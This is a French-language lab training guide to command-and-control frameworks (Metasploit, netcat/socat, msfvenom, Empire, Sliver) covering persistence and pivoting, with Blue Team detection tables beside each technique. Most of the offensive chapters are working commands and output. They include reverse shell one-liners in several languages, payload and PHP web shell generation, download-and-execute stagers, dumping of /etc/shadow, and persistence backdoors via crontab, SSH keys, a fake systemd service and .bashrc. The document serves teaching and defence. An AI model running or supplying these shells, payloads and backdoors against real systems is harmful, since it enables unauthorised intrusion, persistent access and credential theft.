COMMAND &
CONTROL
C2 Frameworks en Laboratoire
Red Team & Blue Team | Detection et Defense | Kali Linux Lab Isole
Tous les exercices se deroulent dans un reseau isole Host-Only - AUCUNE
connexion vers Internet
CONTENU DU GUIDE
• Chapitre 1 : Qu'est-ce qu'un framework C2 ? Architecture et concepts
• Chapitre 2 : Metasploit Framework C2 - Usage avance en lab
• Chapitre 3 : Netcat et Socat - C2 manuel minimaliste
• Chapitre 4 : MSFvenom - Generation de payloads personnalises
• Chapitre 5 : PowerShell Empire - C2 post-exploitation Windows
• Chapitre 6 : Covenant - C2 .NET moderne en lab
• Chapitre 7 : Sliver - C2 open-source nouvelle generation
• Chapitre 8 : Communication C2 et techniques d'evasion (concept)
• Chapitre 9 : Blue Team - Detection des C2 (Suricata, Zeek, logs)
• Chapitre 10 : Exercices pratiques complets Red vs Blue en lab
• Annexe : Glossaire C2, matrice MITRE ATT&CK et ressources
AVERTISSEMENT
Les techniques C2 sont au coeur des cyberattaques reelles. Ce guide est strictement educatif :
chaque technique offensive est accompagnee de sa contre-mesure defensive Blue Team. Tout
est a pratiquer exclusivement dans le lab isole [Link]/24. Ne jamais deployer ces outils
sur des systemes sans autorisation ecrite.
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
TABLE DES MATIERES
TOC \h \o "1-3"
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 1 : Architecture C2 - Concepts Fondamentaux
Qu'est-ce qu'un C2 (Command & Control) ?
Un framework C2 (Command and Control) est une infrastructure qui permet a un attaquant (ou
un Red Team) de maintenir et controler des connexions avec des systemes compromis. C'est le
cerveau d'une operation de pentest ou d'une vraie cyberattaque. Comprendre les C2 est
ESSENTIEL autant pour l'equipe offensive (Red Team) que pour l'equipe defensive (Blue Team /
SOC).
1.1 Architecture Generale d'un C2
Un framework C2 est compose de trois elements principaux qui interagissent ensemble :
Composant Nom courant Role
Serveur C2 Teamserver / Listener Machine de l'attaquant qui recoit les
connexions, stocke les donnees et envoie les
commandes. Tourne sur Kali dans notre lab.
Agent / Implant Beacon / Payload / Shell Programme installe sur la machine cible
(victime) qui se connecte au serveur C2 et
execute les commandes. Tourne sur
Metasploitable.
Operateur Console / Client Interface graphique ou CLI utilisee par le
pentester pour interagir avec les agents
connectes.
1.2 Types de Canaux de Communication C2
Canal Protocole Caracteristiques
Reverse Shell TCP TCP raw L'agent initie la connexion vers l'attaquant.
Contourne les firewalls entrants. Le plus
simple, mais facilement detecte.
Bind Shell TCP TCP raw L'attaquant se connecte vers l'agent. Bloque
par les firewalls modernes. Rarement utilise.
HTTP/HTTPS HTTP 80/443 Trafic C2 camouffle dans des requetes web.
Difficile a bloquer car HTTP/S est partout.
Tres courant.
DNS Tunneling DNS 53 Commandes encodes dans des requetes
DNS. Ultra-discret car DNS est rarement
filtre/surveille.
ICMP Tunneling ICMP (ping) Commandes dans les paquets ping. Tres
discret, debit faible.
Websockets / WS WS 80/443 Connexion bidirectionnelle persistante via
HTTP. Moderne et discret.
SMB Named Pipes SMB 445 Communication C2 via partages SMB. Tres
utilise dans les reseaux AD.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
1.3 Cycle de Vie d'une Compromission C2 (Kill Chain)
# Phase Description dans le contexte C2
1 Reconnaissance Identifier les cibles, services ouverts, versions. Nmap,
theHarvester, OSINT.
2 Weaponization Creer le payload (agent C2) adapte a la cible. MSFvenom,
Empire stager, Sliver implant.
3 Delivery Livrer l'agent a la cible. Exploit de service, phishing, upload web
shell.
4 Exploitation L'agent s'execute sur la cible et etablit la connexion vers le
serveur C2.
5 Installation L'agent est installe de maniere persistante (crontab, registre,
service).
6 C2 Communication Canal de communication etabli : l'attaquant envoie des
commandes, la cible repond.
7 Actions on Objectives Privilege escalation, mouvement lateral, exfiltration de donnees,
impact.
1.4 Comparatif des Principaux Frameworks C2 en Lab
Framework Langage Licence Difficulte Points forts
Metasploit MSF Ruby Open- Debutant Le plus complet, documentation
source immense, integre dans Kali
Netcat / Socat C Open- Debutant Minimaliste, toujours disponible,
source excellent pour apprendre les
bases
PowerShell Python/PS Open- Intermedi Post-exploitation Windows et
Empire source aire Linux, agents PowerShell
Covenant .NET/C# Open- Intermedi Interface web moderne,
source aire grunts .NET, excellent pour AD
Sliver Go Open- Intermedi Moderne, multi-protocoles
source aire (HTTP/DNS/mTLS), multiplayer
Havoc C/C++ Open- Avance Alternatif moderne a Cobalt
source Strike, demons Shellcode
Cobalt Strike Java Commercial Avance Standard de l'industrie Red
(6000$) Team, mais payant
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 2 : Metasploit Framework - C2 Complet en Lab
Metasploit comme C2
Metasploit est le framework C2 le plus utilise en formation. Meterpreter est son agent C2 le plus
puissant : il s'execute en memoire (fileless), communique via un canal chiffre et offre des
dizaines de fonctionnalites de post-exploitation. Tous les exercices de ce chapitre se font sur Kali
(serveur) -> Metasploitable (cible).
2.1 Configuration du Listener Metasploit (Serveur C2)
Le listener est le composant serveur qui attend les connexions des agents Meterpreter. Il doit etre
lance AVANT le payload.
# === SUR KALI (Serveur C2) ===
# Demarrer Metasploit avec la base de donnees
sudo systemctl start postgresql
msfconsole -q
# Configurer un listener multi-handler (attend n'importe quel payload)
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST [Link] # IP de Kali dans le lab
set LPORT 4444 # Port d'ecoute
set ExitOnSession false # Continuer a ecouter apres 1ere
session
run -j # Lancer en background (-j)
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on [Link]:4444
# Verifier que le listener est actif
jobs # Lister les jobs actifs
jobs -i 0 # Details du job 0
2.2 Generation et Execution du Payload (Agent C2)
# === SUR KALI - Generer le payload Linux ===
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=[Link] LPORT=4444 \
-f elf -o /tmp/agent_lab.elf
chmod +x /tmp/agent_lab.elf
# Transferer vers Metasploitable via HTTP simple
cd /tmp && python3 -m [Link] 8888 # Serveur HTTP temporaire sur Kali
# === SUR METASPLOITABLE (depuis un shell obtenu precedemment) ===
wget [Link] -O /tmp/agent_lab.elf
chmod +x /tmp/agent_lab.elf
/tmp/agent_lab.elf & # Executer en arriere-plan
# === RETOUR SUR KALI - Session Meterpreter recue ===
[*] Sending stage (3045380 bytes) to [Link]
[*] Meterpreter session 1 opened ([Link]:4444 -> [Link]:49xxx)
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
sessions -l # Lister les sessions C2 actives
sessions -i 1 # Interagir avec la session 1
2.3 Commandes C2 Avancees avec Meterpreter
Systeme et processus
# Informations sur la cible
sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server
Architecture : x86_64
getuid
Server username: msfadmin
getpid # PID du processus agent
ps # Tous les processus
kill 1234 # Tuer un processus
Systeme de fichiers
pwd && ls -la # Navigation
search -f '*.conf' -d /etc # Chercher des configs
search -f 'password*' -d /home # Chercher des fichiers password
cat /etc/passwd # Lire un fichier
download /etc/shadow /tmp/lab/ # Telecharger vers Kali
upload /tmp/lab/[Link] /tmp/ # Uploader vers la cible
Reseau depuis la cible
ifconfig # Interfaces reseau de la cible
arp # Table ARP (autres hotes vus)
netstat # Connexions reseau actives
portfwd add -l 8080 -p 80 -r [Link] # Redirection de port
# Redirige le port 80 de Metasploitable vers le port 8080 local de Kali
Shell et escalade
shell # Obtenir un shell bash
python3 -c 'import pty; [Link]("/bin/bash")' # Dans le shell, stabiliser
exit # Revenir a Meterpreter
Gestion des sessions multiples
background # Mettre en arriere-plan
sessions -l # Lister toutes les sessions
sessions -i 2 # Passer a la session 2
sessions -K # Tuer toutes les sessions
2.4 Modules de Post-Exploitation C2
Module Metasploit Action C2
post/multi/recon/local_exploit_suggester Suggere automatiquement les exploits de privilege
escalation locaux
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Module Metasploit Action C2
post/linux/gather/hashdump Extrait les hash de /etc/shadow (si root)
post/linux/gather/enum_configs Collecte tous les fichiers de configuration importants
post/linux/gather/enum_network Enumere la configuration reseau complete de la cible
post/linux/gather/enum_system Collecte les infos systeme (OS, users, crons,
services)
post/multi/manage/shell_to_meterpreter Upgrade un shell basique en agent Meterpreter
post/multi/manage/autoroute Configure le routage automatique pour le pivoting
post/linux/manage/sshkey_persistence Ajoute une cle SSH pour persistance
post/multi/gather/env Collecte les variables d'environnement (peut contenir
des secrets)
# Utilisation d'un module post depuis une session active
background # Mettre la session en arriere-plan
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
[*] Running check method for exploit 34 / 34
[+] [Link] - exploit/linux/local/udev_netlink: The target is vulnerable.
[+] [Link] - exploit/linux/local/sock_sendpage: The target is vulnerable.
RED TEAM : Meterpreter C2 persistant BLUE TEAM : Detection du C2 Metasploit
Meterpreter tourne en memoire - aucun fichier Surveiller les connexions TCP sortantes
ecrit sur disque. inhabituelles (port 4444).
Communication chiffree TLS entre agent et Analyser les processus : un ELF inconnu qui fait
serveur. des connexions reseau.
Sessions multiples gerees depuis une seule Suricata/Snort : signatures Metasploit connues.
console. Netflow : pic de trafic TCP chiffre vers une IP
Modules post permettent l'enumeration inconnue.
automatisee complète.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 3 : Netcat et Socat - C2 Manuel Minimaliste
Pourquoi apprendre le C2 minimaliste ?
Avant d'utiliser des frameworks complexes, comprendre le C2 manuel avec netcat permet de
saisir les bases : listener, connexion inverse, bind shell. C'est aussi ce que les pentesters
utilisent quand rien d'autre n'est disponible. Netcat est present sur presque tous les systemes
Unix.
3.1 Reverse Shell Netcat (le plus fondamental)
Un reverse shell inverse la connexion : c'est la cible qui se connecte vers l'attaquant. Cela
contourne les firewalls qui bloquent les connexions entrantes.
# === ETAPE 1 : SUR KALI - Ouvrir un listener netcat ===
nc -lvnp 4444
# -l : mode ecoute | -v : verbeux | -n : pas de DNS | -p : port
# === ETAPE 2 : SUR METASPLOITABLE - Executer le reverse shell ===
# (Depuis un acces initial obtenu : exploit, RCE web, etc.)
bash -i >& /dev/tcp/[Link]/4444 0>&1
# OU avec netcat si disponible :
nc -e /bin/bash [Link] 4444
# OU sans l'option -e (si nc ne l'a pas) :
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [Link]
4444 > /tmp/f
# === RETOUR SUR KALI - Shell recu ===
Connection from [Link]:49201
bash: no job control in this shell
msfadmin@metasploitable:~$
# Stabiliser le shell (le rendre interactif)
python -c 'import pty; [Link]("/bin/bash")'
export TERM=xterm
# Ctrl+Z pour background, puis :
stty raw -echo; fg
# Maintenant le shell est stable avec Tab, fleches, Ctrl+C
3.2 Bind Shell Netcat
Dans un bind shell, l'agent ouvre un port sur la cible et attend que l'attaquant se connecte dessus.
# === SUR METASPLOITABLE - Ouvrir le bind shell ===
nc -lvnp 5555 -e /bin/bash # Attendre une connexion
# === SUR KALI - Se connecter au bind shell ===
nc [Link] 5555 # Se connecter au port ouvert
msfadmin@metasploitable:~$ # Shell obtenu !
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
3.3 Socat - C2 Manuel avec Chiffrement TLS
Socat est la version evoluee de netcat : il supporte TLS, les sockets Unix, IPv6, et permet de creer
des canaux bidirectionnels complexes.
# === Socat simple (sans chiffrement) ===
# Sur Kali (listener) :
socat TCP-LISTEN:4445,reuseaddr,fork STDOUT
# Sur Metasploitable (se connecter) :
socat TCP:[Link]:4445 EXEC:bash,pty,stderr,setsid,sigint,sane
# === Socat avec chiffrement TLS (C2 discret) ===
# Generer un certificat auto-signe sur Kali :
openssl req -newkey rsa:2048 -nodes -keyout [Link] -x509 -days 365 -out
[Link]
cat [Link] [Link] > [Link]
# Listener TLS sur Kali :
socat OPENSSL-LISTEN:443,cert=[Link],verify=0,reuseaddr,fork STDOUT
# Agent TLS sur Metasploitable (le trafic est chiffre !) :
socat OPENSSL:[Link]:443,verify=0
EXEC:bash,pty,stderr,setsid,sigint,sane
# === Port Forwarding avec Socat (pivoting basique) ===
socat TCP-LISTEN:8080,fork TCP:[Link]:80
# Redirige le port 8080 local vers le port 80 de Metasploitable
3.4 Autres One-Liners de Reverse Shell
Ces commandes sont essentielles a connaitre - elles sont utilisees quand on a un RCE sur une
cible et qu'on veut etablir un C2 rapide :
Langage Commande Reverse Shell
Bash bash -i >& /dev/tcp/[Link]/4444 0>&1
Python3 python3 -c 'import
socket,subprocess,os;s=[Link]();[Link](("[Link]",4444));[Link]
p2([Link](),0);os.dup2([Link](),1);os.dup2([Link](),2);[Link](["/bin/
sh","-i"])'
PHP php -r '$sock=fsockopen("[Link]",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl perl -e 'use
Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,soc
kaddr_in(4444,inet_aton("[Link]")));open(STDIN,">&S");open(STDOUT,"
>&S");open(STDERR,">&S");exec("/bin/sh -i");'
Ruby ruby -rsocket -e 'exit if
fork;c=[Link]("[Link]","4444");while(cmd=[Link]);[Link](cmd
,"r"){|io|[Link] [Link]}end'
Java Utiliser msfvenom -p java/jsp_shell_reverse_tcp pour generer un payload JSP
PowerShell $client=New-Object [Link]("[Link]",4444);
$stream=$[Link]();...
Ressource de reference
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
[Link] est un generateur en ligne de reverse shells pour tous les langages. Tre utile
pour le lab. Dans la pratique du pentest en lab, l'utiliser pour generer rapidement le one-liner
adapte a la cible.
RED TEAM : Reverse Shell Detection BLUE TEAM : Detection des Reverse Shells
Un reverse shell bash utilise /dev/tcp qui est une Surveiller les connexions sortantes vers des ports
fonctionnalite native de bash. non-standards (4444, 1234, 5555).
Socat avec TLS camouffle le contenu mais la Alerter sur les processus qui font des connexions
connexion reste visible. reseau : bash, python, perl.
Les reverse shells initialisent une connexion Firewall egress : bloquer les connexions sortantes
sortante TCP vers un port inhabituel. non autorisees.
HIDS (Wazuh) : detecter l'execution de
commandes systeme inhabituelles.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 4 : MSFvenom - Generation de Payloads C2
MSFvenom
MSFvenom est l'outil de Metasploit pour generer des payloads (agents C2) dans de nombreux
formats et pour de nombreuses plateformes. C'est un composant fondamental du workflow Red
Team. Ce chapitre couvre la generation de payloads pour le lab Linux Metasploitable
exclusivement.
4.1 Syntaxe et Options MSFvenom
# Syntaxe generale
msfvenom -p <PAYLOAD> LHOST=<IP_KALI> LPORT=<PORT> -f <FORMAT> -o <FICHIER>
# Lister tous les payloads disponibles
msfvenom -l payloads | grep linux
msfvenom -l payloads | grep windows
msfvenom -l payloads | grep python
# Lister tous les formats de sortie disponibles
msfvenom -l formats
# Voir les options d'un payload specifique
msfvenom -p linux/x64/meterpreter/reverse_tcp --list-options
4.2 Payloads pour le Lab Linux (Metasploitable)
Payload Commande MSFvenom
ELF Linux Meterpreter msfvenom -p linux/x64/meterpreter/reverse_tcp
staged LHOST=[Link] LPORT=4444 -f elf -o [Link]
ELF Linux Meterpreter msfvenom -p linux/x64/meterpreter_reverse_tcp
stageless LHOST=[Link] LPORT=4444 -f elf -o agent_sl.elf
Shell ELF simple msfvenom -p linux/x64/shell/reverse_tcp LHOST=[Link]
LPORT=4444 -f elf -o [Link]
Shell Python msfvenom -p cmd/unix/reverse_python LHOST=[Link]
LPORT=4444 -f raw -o [Link]
Shell Bash msfvenom -p cmd/unix/reverse_bash LHOST=[Link]
LPORT=4444 -f raw -o [Link]
Web Shell PHP msfvenom -p php/meterpreter/reverse_tcp
LHOST=[Link] LPORT=4444 -f raw -o [Link]
Web Shell JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=[Link]
LPORT=4444 -f war -o [Link]
4.3 Payload Staged vs Stageless - Difference Fondamentale
Type Payload Staged Payload Stageless
Notation MSF linux/x64/meterpreter/reverse_tcp linux/x64/meterpreter_reverse_tcp
(un seul /)
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Type Payload Staged Payload Stageless
Taille Petit (quelques Ko) Grand (tout le Meterpreter inclus,
~200Ko+)
Fonctionnement Se connecte au C2 et telecharge le Tout est inclus dans le payload
stage complet initial
Avantage Petit payload initial, facile a passer Fonctionne sans connexion pour le
telechargement du stage
Inconvenient Necessite une connexion vers le C2 Payload plus grand, plus facile a
au lancement detecter
Quand l'utiliser Quand l'acces initial est limite en Quand la connexion au C2 peut etre
taille bloquee
4.4 Exercice Pratique : Payload PHP via Upload Web
Scenario : DVWA est accessible, le niveau de securite est sur 'Low'. On va uploader un web shell
PHP et etablir un canal C2.
# ETAPE 1 : Generer le web shell PHP sur Kali
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=[Link] LPORT=5555 \
-f raw -o /tmp/lab/[Link]
# Ajouter le tag PHP si manquant (verifier le fichier) :
head -1 /tmp/lab/[Link]
# Doit commencer par <?php
# ETAPE 2 : Configurer le listener sur Kali
msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD
php/meterpreter/reverse_tcp; set LHOST [Link]; set LPORT 5555; run -
j'
# ETAPE 3 : Uploader via DVWA (File Upload, niveau Low)
# Navigateur Kali : [Link]
# Choisir [Link] -> Upload -> DVWA l'accepte directement (niveau Low)
# Chemin : /DVWA/hackable/uploads/[Link]
# ETAPE 4 : Declencher le shell via le navigateur
curl [Link]
# Le serveur execute le PHP -> connexion vers Kali sur port 5555
# ETAPE 5 : Session Meterpreter recue sur Kali
[*] Meterpreter session 1 opened ([Link]:5555 -> [Link]:...)
sessions -i 1
sysinfo && getuid
Resultat attendu
Une session Meterpreter via PHP est etablie sur le serveur DVWA. Le canal C2 passe par le port
HTTP 5555 deguise en connexion web. L'agent tourne avec les permissions du serveur web
Apache (www-data).
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 5 : PowerShell Empire - C2 Post-Exploitation
PowerShell Empire
Empire est un framework C2 post-exploitation qui utilise des agents PowerShell (pour Windows)
et Python (pour Linux/macOS). Il est tres utilise en formation car il illustre parfaitement les
techniques Living off the Land (LotL) : utiliser des outils natifs du systeme pour eviter la detection.
Dans le lab, on l'utilise pour la cible Linux.
5.1 Installation d'Empire sur Kali
# Empire est parfois pre-installe, sinon :
sudo apt install powershell-empire -y
# OU depuis GitHub :
git clone [Link] /opt/Empire
cd /opt/Empire && sudo ./setup/[Link]
# Lancer Empire (serveur + client dans deux terminaux)
# Terminal 1 - Serveur Empire :
sudo powershell-empire server
# Terminal 2 - Client Empire :
powershell-empire client
5.2 Configuration d'un Listener Empire
# Dans la console Empire (client) :
listeners # Voir les listeners disponibles
uselistener http # Utiliser un listener HTTP
info # Voir toutes les options
# Configurer le listener HTTP
set Host [Link] # Adresse du C2
set Port 8080 # Port d'ecoute
set Name lab_http # Nom du listener
execute # Demarrer le listener
[*] Starting listener 'lab_http'
[+] Listener successfully started!
listeners # Verifier que le listener est
actif
5.3 Generation d'un Stager (Agent) Empire
# Dans Empire : generer un stager bash pour Linux
usestager multi/bash # Stager bash multi-plateforme
set Listener lab_http # Lier au listener configure
set OutFile /tmp/lab/empire_stager.sh # Sauvegarder le stager
execute # Generer le stager
# Contenu du stager (exemple) - un one-liner bash encode
[*] Stager output written out to: /tmp/lab/empire_stager.sh
# Transferer et executer sur Metasploitable (depuis shell initial) :
# Sur Kali - servir le stager :
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
python3 -m [Link] 9090 --directory /tmp/lab/
# Sur Metasploitable - telecharger et executer :
wget [Link] -O /tmp/[Link] && bash
/tmp/[Link]
# Sur Empire : agent recu !
[*] Sending agent (stage 2) to Agent ABCD1234 at [Link]
[+] Initial agent ABCD1234 from [Link] now active
5.4 Commandes Empire sur l'Agent Linux
# Interagir avec l'agent
agents # Lister les agents connectes
interact ABCD1234 # Interagir avec l'agent
# Commandes de base
shell id # Executer une commande
uid=1000(msfadmin) gid=1000(msfadmin)
shell cat /etc/passwd
shell ifconfig
shell find /home -name '*.txt' 2>/dev/null
# Modules Empire
usemodule situational_awareness/host/linux/get_system # Infos systeme
usemodule collection/linux/pillage_user # Collecte fichiers
user
usemodule privesc/linux/unix_privesc_check # Privilege
escalation
execute
RED TEAM : Agents Empire HTTP BLUE TEAM : Detection Empire / C2 HTTP
Les agents Empire utilisent HTTP pour camoufler Analyser les requetes HTTP suspectes : user-
le C2 dans du trafic web leger. agent generique, URI aleatoire.
Le trafic ressemble a des requetes HTTP Suricata : regle pour detecter les patterns de
normales vers un 'serveur web'. beacon Empire.
Empire chiffre les communications avec des cles Zeek (Bro) : analyser les intervalles de connexion
RSA dynamiques. periodiques (jitter C2).
Blocage DNS : empecher la resolution de
domaines C2 inconnus.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 6 : Sliver - C2 Open-Source Moderne
Pourquoi Sliver ?
Sliver est un framework C2 moderne developpe par BishopFox en Go. Il supporte nativement les
canaux mTLS, HTTP/S, DNS et WireGuard. Ses implants sont compiles en Go - difficiles a
analyser et multiplateformes. C'est l'une des alternatives open-source les plus utilisees en Red
Team professionnel.
6.1 Installation de Sliver sur Kali
# Installation automatique
curl [Link] | sudo bash
# OU installation manuelle
wget [Link]
server_linux -O /usr/local/bin/sliver-server
chmod +x /usr/local/bin/sliver-server
# Lancer le serveur Sliver
sudo sliver-server
[*] Starting gRPC listener on 31337
[*] Loaded 63 aliases from disk
[*] Loaded 90 extensions from disk
sliver >
6.2 Creer un Listener et Generer un Implant
# Dans la console Sliver
# Configurer un listener mTLS (TCP chiffre mutuel)
mtls # Demarrer listener mTLS par
defaut
[*] Starting mTLS listener ...
[*] Successfully started job #1
# OU listener HTTP (port 8080) - plus discret
http -l 8080 # Listener HTTP sur port 8080
# Generer un implant Linux (sessionnel)
generate --mtls [Link] --os linux --arch amd64 --format elf --save
/tmp/lab/sliver_implant
[*] Generating new linux/amd64 implant binary
[*] Build completed in 00:00:45
[*] Implant saved to /tmp/lab/sliver_implant
# Generer un implant avec HTTP (trafic camouffle)
generate --http [Link]:8080 --os linux --arch amd64 --format elf --
save /tmp/lab/sliver_http
# Generer un implant beacon (se connecte periodiquement au lieu de rester
connecte)
generate beacon --http [Link]:8080 --beacons --os linux --arch amd64
--format elf --save /tmp/lab/sliver_beacon
# Un beacon se connecte toutes les X secondes/minutes - plus discret
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
6.3 Interaction avec l'Implant Sliver
# Executer l'implant sur Metasploitable (via shell initial)
# Transferer depuis Kali :
scp /tmp/lab/sliver_implant msfadmin@[Link]:/tmp/
# OU via HTTP :
wget [Link] -O /tmp/sliver_implant &&
chmod +x /tmp/sliver_implant && /tmp/sliver_implant &
# Retour sur Sliver - session recue
[*] Session AUTUMN_FOX - [Link]:49xxx (metasploitable) - linux/amd64
# Interagir avec la session
sessions # Lister les sessions
use AUTUMN_FOX # Selectionner la session
# Commandes Sliver
info # Infos sur l'implant
whoami # Utilisateur courant
ps # Processus
ls /etc # Lister des fichiers
download /etc/passwd # Telecharger un fichier
upload /tmp/lab/[Link] /tmp/ # Uploader
execute -o id # Executer une commande
shell # Shell interactif
portfwd add -r [Link]:22 -b [Link]:2222 # Redirection de port
# Extensions et modules Sliver
armory # Voir les extensions disponibles
armory install all # Installer toutes les extensions
RED TEAM : Sliver - Implants mTLS/HTTP BLUE TEAM : Detection des Implants Go
Les implants Go compilent en statique : pas de Analyser les binaires suspects : file, strings, ldd
dependances externes. pour identifier les ELF suspects.
mTLS : certificats mutuels, le trafic est Les implants Go ont une empreinte memoire
indechiffrable sans la cle privee. distinctive (runtime Go).
Le mode beacon limite les connexions reseau, Netflow : connexions regulieres vers la meme IP
tres difficile a detecter. externe (pattern beacon).
Les noms d'implants sont generes aleatoirement Surveiller les processus enfants d'Apache, PHP,
(AUTUMN_FOX, etc.). etc. qui font des connexions reseau.
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 7 : Persistance du C2 - Maintenir l'Acces
Contexte
La persistance simule comment un attaquant reel s'assure que son acces C2 survit au
redemarrage de la machine cible. En lab, on pratique ces techniques sur Metasploitable pour les
comprendre et savoir comment les detecter et les eliminer. Toujours restaurer le snapshot apres
l'exercice.
7.1 Methodes de Persistance Linux
Methode 1 : Crontab
# Sur Metasploitable (en tant que root via Meterpreter/shell) :
# Verifier le crontab actuel
crontab -l
# Ajouter une tache qui relance le reverse shell toutes les 5 minutes
(crontab -l 2>/dev/null; echo '*/5 * * * * bash -i >&
/dev/tcp/[Link]/6666 0>&1') | crontab -
# Sur Kali : listener en attente
nc -lvnp 6666
# Toutes les 5 min, une connexion entrante sur le listener Kali
Methode 2 : Cle SSH Autorisee
# Generer une cle SSH sur Kali
ssh-keygen -t ed25519 -f /tmp/lab/backdoor_key -N ''
# Sur Metasploitable (via shell C2) - installer la cle publique
mkdir -p /root/.ssh && chmod 700 /root/.ssh
echo '<CONTENU_backdoor_key.pub>' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Sur Kali - connexion SSH directe sans mot de passe (acces persistant !)
ssh -i /tmp/lab/backdoor_key root@[Link]
Methode 3 : Service systemd
# Creer un faux service systemd (necessite root)
# Sur Metasploitable :
cat > /etc/systemd/system/[Link] << EOF
[Unit]
Description=System Update Service
After=[Link]
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[Link]/6667 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=[Link]
EOF
systemctl enable update-service && systemctl start update-service
Methode 4 : Modification .bashrc/.profile
# Ajouter une ligne dans le .bashrc de l'utilisateur
echo 'nohup bash -i >& /dev/tcp/[Link]/6668 0>&1 &' >>
/home/msfadmin/.bashrc
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
# Se declenche a chaque ouverture de terminal par msfadmin
RED TEAM : Techniques de persistance BLUE TEAM : Detection et elimination de la
Crontab : difficile a detecter, redemarrage persistance
automatique. Auditer le crontab regulierement : crontab -l &&
Cle SSH : acces silencieux, aucune cat /etc/cron*
authentification par mdp. Surveiller les fichiers authorized_keys : find /home
Service systemd : survit aux redemarrages, se -name authorized_keys
relance automatiquement. Lister et auditer les services : systemctl list-units
Les 4 methodes n'ecrivent rien de suspect aux --type=service
yeux d'un admin non vigilant. AIDE/Tripwire : alerte sur toute modification
de .bashrc, .profile, crontab
Rkhunter pour detecter les backdoors et rootkits
installes
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team
Chapitre 8 : Pivoting - Atteindre des Reseaux Internes
via C2
Concept de Pivoting
Le pivoting consiste a utiliser une machine compromise comme relais pour atteindre d'autres
segments reseau non directement accessibles. Dans un lab, on peut simuler cela en ajoutant un
deuxieme reseau interne. C'est une technique fondamentale enseignee dans OSCP.
8.1 Pivoting via Metasploit (Autoroute)
# Prerequis : avoir une session Meterpreter active sur Metasploitable
# Imaginer que Metasploitable a acces a un 2eme reseau [Link]/24
# Etape 1 : Voir les interfaces reseau de la cible depuis Meterpreter
ifconfig # Voir les interfaces de la cible
arp # Autres hotes connus par la cible
# Etape 2 : Ajouter une route via la session Meterpreter (autoroute)
background # Mettre la session en BG
use post/multi/manage/autoroute
set SESSION 1
set SUBNET [Link]/24 # Reseau cible a atteindre
run
[+] Route added to subnet [Link]/24 via session 1
# Etape 3 : Scanner le reseau interne via le pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS [Link]-254
set PORTS 22,80,443,3389
run
# Metasploit envoie le trafic via la session Meterpreter comme relais
8.2 Pivoting via Proxy SOCKS (Proxychains)
# Etape 1 : Creer un proxy SOCKS5 via Meterpreter
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
[*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server
# Etape 2 : Configurer proxychains
sudo nano /etc/[Link]
# Modifier la derniere ligne :
socks5 [Link] 1080
# Etape 3 : Utiliser n'importe quel outil via le pivot
proxychains nmap -sT -Pn [Link] # Scanner via pivot
proxychains curl [Link] # Acceder a un site interne
proxychains ssh user@[Link] # SSH vers machine interne
proxychains firefox # Navigateur via pivot
Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
